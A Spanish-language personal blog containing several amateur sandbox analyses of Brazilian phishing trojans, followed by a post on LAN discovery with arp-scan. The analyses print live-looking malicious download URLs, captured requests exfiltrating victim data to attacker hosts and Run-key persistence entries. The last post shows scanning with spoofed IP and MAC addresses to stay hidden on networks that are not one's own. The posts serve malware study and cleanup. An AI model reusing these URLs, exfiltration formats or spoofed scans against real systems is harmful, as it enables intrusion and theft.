http://blogspot.com/video/Eliza_Samudio002.avi-0.41616

que en realidad es un link a

http://loopstkerh.h1.ru/visualizar.ph p?0.41616 (el espacio está incluido para romper el link)

Desde allí nos descarga un archivo "Visualizar.com", sisi, nombre similar a uno de los archivos de las entradas anteriores. Análisis de virustotal.com: http://www.virustotal.com/es/analisis/05dd1784fd3971e92a40a906bec457bb347e437cc380dcc48f713eeaba053804-1279559435

Probando nuestro nuevo archivo en un entorno aislado observamos:

1-Descarga del sitio: http://www.verstkerh.h1.ru/

2-Una vez descargado comienza a hacer cosas interesante. Se conecta a una base de datos, aparentemente un sqlserver y nos presenta un login de messenger para meter nuestros datos (curiosamente en portugues...):

Jamás utilicé SqlServer, pero claramente se tata de uno. Una vez establecida la conexión con el servidor de base de datos hace muchas consultas UPDATES subiendo mi información de infección y luego descarga una módica suma de mas de 1300 direcciones de email con sus respectivas contraseñas... a partir de ahora se conecta a los servidores de hotmail e intenta enviar correos.

3-Ahora se me ocurrió probar qué hace realmente esta pantalla de menssenger, que no es mas que una imagen con dos campos para ingresar. Ingresé el siguiente mail: "alhoja@nada.com" y contraseña "asdasdasd", veamos:

Lo anterior es un fragmento de la conexión que se establece con el servidor de base de datos cuando ingresamos nuestro mail y contraseña. Se puede ver como se realiza un insert de nuestros datoss de la forma "INSERT INTO msnlst (contactos) VALUES (''alhoja@nada.com,asdasdasd");" que es exáctamente el formato en el que se descargó la lista de mails anteriormente. Luego de esto, la venta fraudulenta nos avisa que pusimos mal la contraseña y lanza ahora si, el proceso original msn messenger para que no surjan sospechas.

Un proceso que queda corriendo es mstimer, que intenta obtener un login positivo para poder enviar mails desde la cuenta robada.

Es MUCHA la cantidad de archivos descargados en los directorios de temporales. Algunos archivos son las keys para la conexión con las bases de datos (autofirmadas, claramente), muchas imágenes, cookies, etc. En el disco C se depositan los siguientes archivos:

En arquivo de programas

msg.txt contiene el mensajes que se envía por email, en este caso se trata de una foto con un link a la descarga de Visualizar.com.
mstimer.exe y csrrs.exe son los encargados de hacer el trabajo sucio

csrrs.exe es quien se conecta con la base de datos para enviar y descargar correos e información.

mstimer.exe es el que realiza la autenticación contra hotmail para enviar los correos.

El método de subsistencia parece ser dos entradas al registro, una para cada uno de los dos ejecutables anteriores.

[HKEY_USERS\S-1-5-21-527237240-1958367476-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Run]
"Winnet"="C:\\Arquivo de programas\\csrrs.exe"
"Msnnet"="C:\\Arquivo de programas\\mstimer.exe"

COMPLETAMENTE recomendable eliminarlas, junto con TODO el directorio "Arquivo de programas", notese... "arQUIVO de programas", siempre se trata de malware diseñado manteniendo como objetivo primario a brasil. También es recomendable elimiar TODO el contenido temporal del browser y pasar el antivirus (si, el que actualizas todos los días :P).

Voy a intentar... si el tiempo y la cabeza me lo permiten investigar un poco mas sobre los archivos descargados.

Otro caso interesante: "O vídeo mais acessado do youtube, mais de 56 milhões de acessos. muito bom esse vídeo!!!!!"

2010-07-18T01:01:00.000-03:00

En fin... esto se está haciendo vicio ya. Con pocas ganas de estudiar para los finales, aca estoy, de nuevo escribiendo sobre un mail fraudulento. Una vez mas el medio es, un supuesto video de youtube, lo gracioso es que es del mismo mail que los dos anteriores xD. El título indica el texto del mail, que viene junto con una imagen que aparenta ser un video, pero no es mas que un link al sitio: "http://premiumassessoria.com.br/css/index.p hp" que nos invita a descargar un archivo (ver.exe, sisi... .exe) de un sitio ruso....

Si por una de esas cuestiones de la vida ejecutamos este archivo (en las máquinas virtuales no uso antivirus, porque son justamente para hacer estas cosas feas) y el SIEMPRE actualizado antivirus no nos detiene, nos encontraremos bajando (de vidaboa2009.pochta.ru, que por momentos parece estar inhabilitado) un archivo llamado Vver.exe. La resolución dns del nombre nos indica que es un CNAME, y que realmente apunto a ftp.pochta.ru (un ftp si acceso anónimo xD), así y todo el archivo se descarga por http.

Acá se pone interesante, luego de descargar el archivo e infectar el sistema, pide una resolución dns para smtp.terra.com.br (un servidor de correo, seguramente de terra brasil). Con la dirección obtenida se intenta una conexión smtp (seguramente para utilizar el servidor de correo como servidor para enviar spam), pero sin éxito, posiblemente la gente de terra ya se puso manos a la obra.

El siguiente dominio a consultar es www.arqueiroverde.net, y se envía por POST la siguiente info a http://www.arqueiroverde.net/enviador.php

praquem=xurupita02@gmail.com&titulo=.::.INFECT.::.&texto=:::=-=-=-=-=-=-=-=-=-=-=-=-=-=-::: ::Usuario:: ::Monitor:: 1280 X 800 ::HD Fisico::::0485F93D ::Mac Adress:::00-0C-29-D5-C0-72 ::Data:: 17/07/2010 ::Hora::: 23:47:18 =-=-=-=--=-=-=-=-=-=-==-=-=-=-==-= &

Otro mail para nuestra lista de buenos amigos xD.

Arqueiroverde.net... lista el contenido del directorio raiz del sitio, algo muy raro, se pueden ver dos directorios, y el archivo enviador.php.

Por ultimo, el proceso que queda en ejecución en background (spoolvv) establece una comunicación http con el host "http://sbr9.hostdime.com.b r", pero no pude ver tráfico, posiblemente ya esté deshabilitado.

mmmm, para removerlo...

Primero que nada limpiar el contenido temporal del browser, cookies, etc. Luego eliminar los archivos que se crearon en C:\Windows\System32 (en caso de XP):

Y por último quitar la clave de autoarranque del registro:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
@="C:\\Windows\\System32\\win_update.exe"

Al parecer para este llegué un poco tarde, ya que está bastante restringida su operación, al menos al parecer. Espero que aparezca uno mas interesante en estos días.

Tendría que ir pensando en escribir algo distinto, pero bue... por ahora la facultad no me permite otra cosa.

Otro mail interesante "Encontrado o Corpo da ex-amante do Goleiro Bruno do Flamento.‏"

2010-07-15T02:17:00.003-03:00

Como tengo muuuuuchos contactos que me quieren y se preocupan por mi falta de interacción con la sociedad, recibo varios mails al día, de los cuales la mayoria son cadenas/spam/phishing, y solamente leo los últimos xD.
Hoy me encontré con uno que me invita a ver un video de youtube sobre el cuerpo de alguna ex-amante de "Bruno do Flamento", que al parecer se trata de un caso de homicidio donde se investiga a un jugador del club Flamengo llamado Bruno. Los brasileros tienen un interesante índice de casos de phising xD.
El link a youtube es: http://www.youtube.com/watch?v=SroGd-1ahG0&feature=related-0.48874 realmente es el link a un video que no está disponible (seguramente porque NUNCA existió tal video), pero a decir verdad cuando uno hace click sobre el supuesto link, este no es mas que texto con un enlace a la dirección "http://bit.ly/byg70N?0.48874", sisi, uno de esos enlaces anonimizados xD. El link nos "invita" a descargar un archivo llamado "fotos.com" de http://www.oabpr.com.br/imagens/noticia/g/fotos. com, sisi.... ni se esfuerzan para ocultar la extensión xD.
Un sitio un tanto... extraño diría... diseñado por los chicos de Webk2 (cuyo sitio está terriblemente bloqueado por los navegadores...). El sitio oabpr.com.br adolece de MUCHAS vulnerabilidades a SIMPLE vista, y es el lugar ideal para cultivar porquerias, como están haciendo los chicos de "Hacked by Vrs-hCk - c0li.m0de.0n.".

El sitio está... increiblemente comprometido, al punto que da a pensar que fue creado con esa idea, si bien parece tener contenido relacionado (es un sitio de los abogados de brazil, que loco, no?). Entre las cosas que hay: un shell en php que permite hacer prácticamente cualquier cosa desde el servidor, scripts para enviar spam..., varios archivos .exe y .com para descargar e infectarse..., etc, y un aparente gestor de logs xD. MUY MUY comprometido...

En fin..., ahora un poco del funcionamiento de nuestro fotos.com:

1-Lo primero que aparentemente hace es descargarse un archivo llamado sidebar.exe (algun tipo de barra para IE posiblemente) de otro posible sitio comprometido: www.avinnovo.com/modules/mod_archive/tmpl/sidebr. exe.

2-Luego comienza a descargar imágenes,alguno que otro .sys/.exe/.pri/.ico, muchas de hecho, del sitio sambananas.dk/pics/train/ (dk resulta ser el TLD correspondiente a Dinamarca...). Gracioso que todas las imágenes que descarga hacen referencia a entidades bancarias... e íconos de navegadores web como IE y FF.

3-Una vez que descarga todas sus cosas y las acomoda en "Arquivos de progrmas" y directorios locales del usuario, ahora, haciendo uso de http://meuip.datahouse.com.br/, el bichito captura la ip publica del infectado :D. Y aca viene algo divertido, luego de capturar mi IP, se conecta sin resolución de nombres a una dirección específica (aparentemente otro sitio brasilero comprometido, que mas bien parece un fake porque no tiene un nombre de dominio propio...) a la cual envía los siguientes datos (POST /ajax/indx.php HTTP/1.0):

URLENCODED:

from=%5B%2B1%5D+INFECT+%3D%29&FromMail=infects%40rbd%2Ecom&destino=fcorp2009%40gmail%2Ecom&assunto=%5B%2B1+Infect%5D%3A+JUAN%2DAA57CF7254+Vem+q+vem+INFECTs%21+%3A%29&mensagem=Computer+Name%3A+JUAN%2DAA57CF7254%0DStatus+GBPLUGIN%3A+Plugin+de+Seguran%E7a+n%E3o+Instalado%2E%0DDate%3A+15%2F07%2F2010+%2D+Atual%0DTime%3A+00%3A14%3A52+%2D+Atual%0DIP%3A+201%2E253%2E149%2E60%0DMAC+ADR%3A+00%2D0C%2D29%2DD5%2DC0%2D72%0DLocaliza%E7%E3o%3A+Espa%F1a%0D%5Bx%5D+Url%27s+Visitadas+%5Bx%5D%0D%0A%0D%0Ahttp%3A%2F%2Fchat%2Earnet%2Ecom%2Ear%2F%0D%0A%5C%5C10%2E0%2E0%2E2%5CC%0D%0Ahttp%3A%2F%2Fwww%2Emegaupload%2Ecom%2F%0D%0Ahttp%3A%2F%2Fwww%2Eamericaenvivo%2Ecom%2Ear%2F%0D%0A&

URLDECODED:

from=[+1] INFECT =)&FromMail=infects@rbd.com&destino=fcorp2009@gmail.com&assunto=[+1 Infect]: JUAN-AA57CF7254 Vem q vem INFECTs! :)&mensagem=Computer Name: JUAN-AA57CF7254 Status GBPLUGIN: Plugin de Segurança não Instalado. Date: 15/07/2010 - Atual Time: 00:14:52 - Atual IP: 201.253.149.XX MAC ADR: 00-0C-29-D5-C0-72 Localização: España [x] Url's Visitadas [x] http://chat.arnet.com.ar/ \\10.0.0.2\C http://www.megaupload.com/ http://www.americaenvivo.com.ar/ &

JA!, mirá que bien, saben que a veces paseo por el chat de arnet, bajo contenido GPL de megaupload y miro américa xD. Además de mi IP, máscara de red y mi hermoso nombre xD. También dice (según mi PRECARIO portugues) que el plugin de seguridad a sido instalado mmm... y que soy de españa, algo obvio... joder!

Aparentemente son datos para enviar por email, por las direcciones de origen y destino involucradas...

HOLA, ahora estoy oficialmente infectado xD.

Lo gracioso, es que http://201.2.106.69/ajax/indx. php, si, nótese inDX, sin E, no existe en el servidor (o responde con 404 a modo de despistar...), si en cambio existe index.php (que da un error al conectarse al servidor mysql aparentemente).

En fin... son muchos los bancos que se encuentran representados por las imágenes que se descargan, evidentemente destinadas a phishing...

También aparece un tercero dominio involucrado..., hum.au.dk, otro sitio de dinamarca posiblemente comprometido, ya que aparentemente se trata de una organización de bien xD. También el dominio http://cluster003.ovh.net/, aparentemente un servidor de mail "multipropósito", voy a ver mas sobre este, parece interesante.

Bueno, para permanecer atento, el bichito registra un par de claves en el registro de windows (el viejo truco xD):

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"ctmon2"="C:\\Arquivos de programas\\Sidebar\\new.exe"

"ctmon32"="C:\\Arquivos de programas\\Sidebar\\java32.exe"

[HKEY_USERS\S-1-5-21-527237240-1958367476-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Run]

"msnmsr"="C:\\Arquivos de programas\\Sidebar\\new.exe"

"ctmon32"="C:\\Arquivos de programas\\Sidebar\\java32.exe"

[HKEY_USERS\S-1-5-21-527237240-1958367476-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Run]

"msnmsr"="C:\\Arquivos de programas\\Sidebar\\new.exe"

"ctmon32"="C:\\Arquivos de programas\\Sidebar\\java32.exe"

y ahora?

Suponiendo que este sea el único método de supervivencia que utiliza, su eliminación es simple, basta con buscarlo en el registro y eliminar todas las claves de ese tipo, remover por completo el directorio "Arquivos de programas" (salvo que tengas el sistema operativo en portugues jajajaja), y eliminar todo el contenido temporal de internet (y pasar el antivirus xD, si es que todavía funciona).

Se extendió demasiado esto jaja, solo espero que alguien lo lea y comente al respecto. Me gustaría poder hacer un análisis un poco mas forense del tema pero ni el conocimiento ni el tiempo me lo permiten, al menos por ahora.

No puse muchos nombres de dominio, IPs e imágenes porque... bueno, no quiero romperle las bolas a nadie, solamente mostrar lo que está pasando.

Está claro que el phishing está en su pico mas alto de productividad... no noté cambio alguno en mis browsers FF 3.5.10 e IE 6.0, pero posiblemente un análisis mas detallado de los archivos descargados sea interesante, después de todo uno de los datos enviados por el bichito es una confirmacion de actualización/infección...

En fin, aca corto, cualquier comentario es bien venido :P.

Los chicos de brazil y sus troyanos (botnet?)

2010-07-09T01:55:00.002-03:00

Hoy a la siesta mientras esperabamos a Nicolás, Fernando desarmaba una xbox y yo... leía un poco de DB2 me llegó un mail de un contacto del messenger que jamás me escribiría un mail xD. Cuando leo el mail, claramente no era del remitente que acusaba ser, (incluso hotmail lo detectó como posible falsificación) ya que venía escrito en portugues :P y dice:

Desculpa, por nao ter enviado logo, mas ai esta o album para visualizar ta ....

CLIQUE PARA VISUALIZAR
-0.36152

Que si mi pésimo portugues de secundario no se equivoca significa: "Perdona por no haberte enviado el logo, aqui está el album para ver...", gracioso. En fin..., viendo el link un poco dije... veamos que me trae este dulce mail xD: "http://correioss.info/visualizar . php?=fotosaniversario.html?0.36152", (notese los espacios en el punto" . ") el link nos pide descargar un hermoso ejecutable (visualizar.exe).

http://correioss.info ... "It works!" para el que alguna vez instaló apache en un debian (por ejemplo), este es el mensaje por defecto de una instalación exitosa :D. Los chicos instalaron apache para jugar... Y como jugar es divertido empecé a buscar directorios interesantes en el servidor, vean http://correioss.info/php/ :

Un login :P, los chicos tienen un login para jugar!!! bien... probando un nombre cualquiera a ver si me dejan jugar a mi también :D:

Apaaaaa!!! parece que juan no está invitado a la fiesta de don "S1turn0" y no tengo ningún infectado :P. Al parecer los chicos perdieron un archivo relatorio.html.
El sitio está dividido en 3 frames, el superior es cont.php, el del medio es relatorio.html y el de abajo rdp.php.
logout es un enlace a un lugar llamado: http://www.site.com.br/contador/ que no es mas que una imagen de un 0 (en este caso), www.site.com.br es el sitio de un hosting de brazil...

Como me fui quedando sin ideas decidí ver que pretendía de mi la invitación (visualizar.exe), a diferencia de los archivos "analizados" anteriormete este es mas divertido :P.

Entonces ejecuté el archivito en cuestión en un entorno un tanto aislado (windows XP SP3 + SandBoxie + con conexión a internet).
Lo que sucedio fue:
1-Pidio una resolución de nombres para el dominio correioss.info y con la ip devuelta hiso lo siguiente:

/*PETICION*/
POST /php/contador.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 161
Host: correioss.info
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)

computador=JUAN%2DAA57CF7254&usuario=Administrador&shd_fisico=00EE2004&shd_firmware=0485F93D&mac=00%2D0C%2D29%2D6C%2DC1%2D1A&windir=&pag_inic=http%3A%2F%2Fla%2F&

/*RESPUESTA*/
HTTP/1.1 200 OK
Date: Fri, 09 Jul 2010 03:42:28 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.6-3ubuntu4.5
Content-Length: 236
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Warning: fopen(08-Jul-2010 23-42-29.html) [function.fopen]: failed to open stream: Permission denied in /var/www/php/contador.php on line 15

Nao pude abrir o seu arquivo...

Divertido como se hicieron con mi nombre de usuario, dirección mac, etc... JA! estos chicos molestos. Pero al parecer no pudieron registrar mucho porque falló la operación fopen por permisos denegados xD.

2-No les alcanzó con cargarse mis datos, vinieron por mas... ahora el bichito intenta acceder a una suerte de login con:

/*PETICION*/
GET /php/acesso.php HTTP/1.1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Host: correioss.info
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)

/*RESPUESTA*/
HTTP/1.1 200 OK
Date: Fri, 09 Jul 2010 03:42:29 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.6-3ubuntu4.5
Content-Length: 934
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Warning: fopen(acessos.txt) [function.fopen]: failed to open stream: Permission denied in /var/www/php/acesso.php on line 3
Warning: fread(): supplied argument is not a valid stream resource in /var/www/php/acesso.php on line 4
Warning: fclose(): supplied argument is not a valid stream resource in /var/www/php/acesso.php on line 5
Warning: fopen(acessos.txt) [function.fopen]: failed to open stream: Permission denied in /var/www/php/acesso.php on line 7
Warning: fputs(): supplied argument is not a valid stream resource in /var/www/php/acesso.php on line 8
Warning: fclose(): supplied argument is not a valid stream resource in /var/www/php/acesso.php on line 9

Pero siguen sin poder escribir en el archivo acessos.txt :(, que de hecho tiene un 0 guardado xD.

3-Y bueno... (pensé que no daba para mas...) ahora se le ocurrió descargar otro bichito mas oO...

/*PETICION*/
GET /nero1.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: correioss.info
Connection: Keep-Alive

/*RESPUESTA*/
HTTP/1.1 200 OK
Date: Fri, 09 Jul 2010 03:42:32 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch mod_perl/2.0.3 Perl/v5.8.8
Last-Modified: Wed, 07 Jul 2010 14:49:37 GMT
ETag: "7f98680-233600-48acd475c4240"
Accept-Ranges: bytes
Content-Length: 2307584
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/x-msdos-program

Como se imaginaran en esta respuesta llegó una buena cantidad de bytes correspondientes al archivo "nero1.exe" que acaba de descargarse.

El ultimo mensaje http es el siguiente:

NTkrnl Secure Suite
Version 0.1
Metamorphism Portable Executable (PE) Packer and Protector Library
Copyright . 2006-2007 Ashkbiz Danehkar
All Rights Reserved

Homepage: http://www.ntkrnl.com
E-mail: info@ntkrnl.com NTkrnl Geborgene Zeug
Version 0.1
Metamorphismus Portable Executable (PE) Packer und Besch.tzer Bibliothek
Urheberrechtlicher . 2006-2007 Ashkbiz Danehkar
Alle Rechten reservierten

HauseSeite: http://www.ntkrnl.com
E-Mail: info@ntkrnl.com NTkrnl Sicuro Seguito
Version 0.1
Metamorphism Portable Eseguibile (PE) Biblioteca del Imballatore e del Protettore
Propriet. letterario riservato . 2006-2007 Ashkbiz Danehkar

Casa pagina: http://www.ntkrnl.com
E-mail: info@ntkrnl.com

JA!, el sitio está fuera, pero básicamente consiste en una suerte de protector de código (para que la gente que sabe de estas cosas no pueda descubrir el real funcionamiento del bichito).

Pero no termina aca :P, re denso son los tipitos estos jaja.

4-Al parecer como todo iba mal en el dominio .info los chicos levantaron otro server en el dominio .net :P, el bichito pidio una resolución de nombres para www.correioss.net (ambas ips muy similares...). Una vez obtenida la ip conversaron un poco:

/*PETICION*/
POST /enter.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Host: www.correioss.net
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)

tipo=cli&cli=JUAN%2DAA57CF7254&

/*RESPUESTA*/
HTTP/1.1 200 OK
Date: Fri, 09 Jul 2010 03:43:57 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4 with Suhosin-Patch mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.6-3ubuntu4
Content-Length: 2
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

OK

ok? qué??? eso es todo? en la peticion se aclaran dos cosas un tipo=cli (cliente ?) y el nombre del cliente :P, yo!.

5-JA!, mirá lo que hacen los nenessssss!!!

/*PETICION*/
POST /atualizado/update.php HTTP/1.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 149
Host: correioss.net
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)

praquem=wwwcaix%40gmail%2Ecom&titulo=JUAN%2DAA57CF7254+007&texto=%2E%2E%2E%2E%2Eby%2Ecyrus%2E%23%40%2E%2E%2E%2E%2E%0D%0AAtualizada+para%3A+007%0D%0A&

/*RESPUESTA*/
HTTP/1.1 200 OK
Date: Fri, 09 Jul 2010 03:43:58 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4 with Suhosin-Patch mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.6-3ubuntu4
Content-Length: 0
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Que tiernosss ¬¬, ahora están poniendose al día :P, /atualizado/update.php contiene la siguiente info:

praquem=wwwcaix@gmail.com&titulo=JUAN-AA57CF7254 007&texto=.....by.cyrus.#@..... Atualizada para: 007 &

Osea que ahora wwwcaix@gmail.com recibe un mail con mis datos :P, "hola caix soy juan ¬¬" y cyrus no pudo contenerse e incluirse en el contenido del mail :P.

6-Luego algo extraño que no voy a incluir hasta no estar seguro.

7-Otra resolución de nombres :D, esta vez por www.itau.com.br

/*PETICION*/
GET / HTTP/1.1
Accept: */*
Accept-Language: es
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: www.itau.com.br
Connection: Keep-Alive
/*RESPUESTA*/
HTTP/1.1 200 OK
Date: Fri, 09 Jul 2010 03:41:23 GMT
Server: IBM_HTTP_Server
Last-Modified: Fri, 14 May 2010 22:16:22 GMT
ETag: "265e-16c7-39a1d980"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1410
Keep-Alive: timeout=5, max=500000
Connection: Keep-Alive
Content-Type: text/html

Esta parte realmente me dio cagaso... itaú es un banco brasilero... Aparentemente en este punto no fue mas que un get al sitio del banco... o al menos eso parece... voy a ver un poco mas sobre este punto cuando tenga tiempo.

8-Otra resolución, esta vez por updater.hd1.com.br y buscando lo siguiente:

/*PETICION*/
GET /versaoatual.txt HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: updater.hd1.com.br
Connection: Keep-Alive

/*RESPUESTA*/
HTTP/1.1 200 OK
Content-Type: text/plain
Accept-Ranges: bytes
ETag: "-803475731"
Last-Modified: Wed, 07 Jul 2010 15:52:35 GMT
Content-Length: 3
Date: Fri, 09 Jul 2010 04:42:03 GMT
Server: lighttpd/1.4.19

007

/*PETICION*/
GET /downloadkey.txt HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: updater.hd1.com.br
Connection: Keep-Alive

/*RESPUESTA*/
HTTP/1.1 200 OK
Content-Type: text/plain
Accept-Ranges: bytes
ETag: "129092051"
Last-Modified: Sun, 04 Jul 2010 06:36:48 GMT
Content-Length: 31
Date: Fri, 09 Jul 2010 04:42:03 GMT
Server: lighttpd/1.4.19

http://correioss.info/nero1.exe

Se acaban de descargar dos archivos... versaoatual.txt y downloadkey.txt... con información poco relevante a esta altura versaoatual.txt=007 y downloadkey.txt=http://correioss.info/nero1.exe. 007 número apropiado cierto? :P.

Habría que escribir a nuestro amigo wwwcraix un mail???

Jugando con el login the facebook

2010-07-06T16:57:00.002-03:00

buenassss, un post cortito y divertido, jugando un poco antes de empezar a estudiar acabo de bloquear mi cuenta de facebook por exceso de intentos fallidos. Obtuve la siguiente imagen :D :

Lo divertido en todo esto es que luego de muchos intentos fallidos la cuenta queda bloqueada y exige un cambio de contraseña (algo razonable???). No permite iniciar sesión... de ninguna manera aparentemente.

Otro punto divertido es que ya cambié la contraseña 2 veces y sigo recibiendo el mismo mensaje :D, por lo tanto hasta ahora cabe la idea de que el bloqueo de la cuenta sea temporal... esto podría considerarse un ataque de denegación de servicio??? mmm, si acceder a mi cuenta fuese de vital importancia y alguien se encarga de que no pueda acceder... interesante :P, a charlar con los chicos de facebook.

Me olvidé de contar la cantidad de accesos fallidos, ese es el próximo paso :D.

Update I:

Límite de solicitud de contraseñas alcanzado... sigo sin poder acceder a la cuenta.

Un epic FAIL gracioso: solicitud "eSXpirada"

Cuántos somos en esta red???

2010-05-02T03:57:00.000-03:00

mmm un poco falto inspiración últimamente, terminando los parciales (o no, no estoy muy seguro xD). Hoy me entró la necesidad de poder saber al "instante" la totalidad de hosts conectados a una LAN, (que necesidades las mías xD).
Lo primero que me vino a la mente fue hacer un ping a cada host de la red, pero cabe la posibilidad de que los hosts no respondan las ECHO-Request ICMP, entonces me estaría perdiendo alguno que otro. Entonces lo mas recomendable me pareció ser utilizar ARP (Address Resolution Protocol), protocolo esencial en las redes LAN para traducir las direcciones de red (IP en este caso) a direcciones de capa de enlace (Ethernet MAC address en este caso).

Cabe aclarar que las comunicaciones entre hosts que pertenecen a un mismo segmento LAN se realiza mediante direcciones MAC, las direcciones IP realmente se utilizan cuando los hosts se encuentran en diferentes redes.

Volviendo al tema... buscando alguna aplicación que sea útil para esta tarea me encontré inicialmente con "arping" (parte del paquete iputils), que justamente nos permite crear paquetes ARP.

Primero aproximación con arping:
Podemos ver que el host 192.168.0.1 está activo y respondió a la primer consulta, entonces no fue necesario enviar mas. "-f deja de enviar ni bien recibe una respuesta" "-c 2 máximo de consultas".

root@moon:/home/juan# arping -f -c 2 -I eth0 192.168.0.1
ARPING 192.168.0.1 from 192.168.0.36 eth0
Unicast reply from 192.168.0.1 [00:08:54:29:06:__] 0.876ms
Sent 1 probes (1 broadcast(s))
Received 1 response(s)

Definitivamente esto no es lo que queria, tener que repetir el comando mas de 200 veces para recorrer todo la red C no está en mis planes, si bien podría hacerse con un script, no me interesa.

Buscando un poco mas encontré a don "arp-scan", el nombre es bastante explícito xD. Es bastante mas flexible que arping y nos permite realizar consultas a un rango de direcciones, una única dirección, o toda la red. El man de arp-scan es un poco rebuscado, pero se deja leer :D.

Probando arp-scan:
Ahora si!, escaneamos un rango de direcciones de la red, desde 192.168.0.1 a 192.168.0.48 y nos encontramos con 4 hosts activos!

root@moon:/home/juan# arp-scan -I eth0 -q -r 1 192.168.0.1-192.168.0.48
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 48 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.0.1    00:08:54:29:06:__
192.168.0.10    00:27:19:dc:d7:__
192.168.0.20    00:e0:4c:a8:89:__
192.168.0.26    00:19:66:38:0a:__

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.6: 48 hosts scanned in 0.539 seconds (89.05 hosts/sec). 4 responded

Logré lo que pretendía, pero claramente se enviaron 48 ARP-Request con mi dirección IP como origen de la consulta. Que a dónde voy?, simple, si se trata de nuestra red no hay problema, nadie va a quejarse al ver tanto interés por parte de una dirección por conocer a todos los hosts activos, pero si no se trata de nuestra red? en el último caso sería muy interesante poder evitar que nuestra dirección de red y nuestra MAC se incluyeran en las consultas :D. Claro que si!!!, arp-scan nos permite alterar los campos del paquete ARP para lograr esto :D.

Arp-scan e IP spoof:
Acá va el primer intento por anonimizar (existe?) las consultas. "-s 192.168.0.45" es la dirección que figurará como origen en la consulta, ahora ya no ponemos en juego nuestra dirección IP real! pero claro xD, aún enviamos nuestra dirección MAC original, es decir que aún somos un blanco fácil...

root@moon:/home/juan# arp-scan -I eth0 -r 1 -q -s 192.168.0.45 192.168.0.1-192.168.0.48
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 48 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.0.1    00:08:54:29:06:_
192.168.0.10    00:27:19:dc:d7:_
192.168.0.20    00:e0:4c:a8:89:_
192.168.0.26    00:19:66:38:0a:_

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.6: 48 hosts scanned in 0.465 seconds (103.23 hosts/sec). 4 responded
root@moon:/home/juan#

Arp-scan e IP spoof + MAC spoof V1:
El primer intento fue ir directamente a lo fácil y alterar todos los campos utilizando arp-scan, pero mi sorpresa fue estaa... Al cambiar tanto la dirección mac (de la consulta, como la que va dentro del paquete) como la dirección IP de origen, las respuestas no son capturadas correctamente por arp-scan (puede verificarse con wireshark (por ejemplo) que las consultas y respuestas se completan perfectamente) y podríamos creer que el host no está activo (192.168.0.1 está activo, aunque no lo parezca). Si bien es totalmente factible corroborar los hosts activos viendo las respuestas desde wireshark, estaríamos complicando mas el panorama, y esa jamás fue la idea :D.

root@moon:/home/juan# arp-scan -I eth0 -r 1 -q -S 00:11:22:33:44:55 -u 00:11:22:33:44:55 -s 192.168.0.45 192.168.0.1
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 1 hosts (http://www.nta-monitor.com/tools/arp-scan/)

0 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.6: 1 hosts scanned in 0.347 seconds (2.88 hosts/sec). 0 responded
root@moon:/home/juan#

Arp-scan e IP spoof + MAC spoof V2:
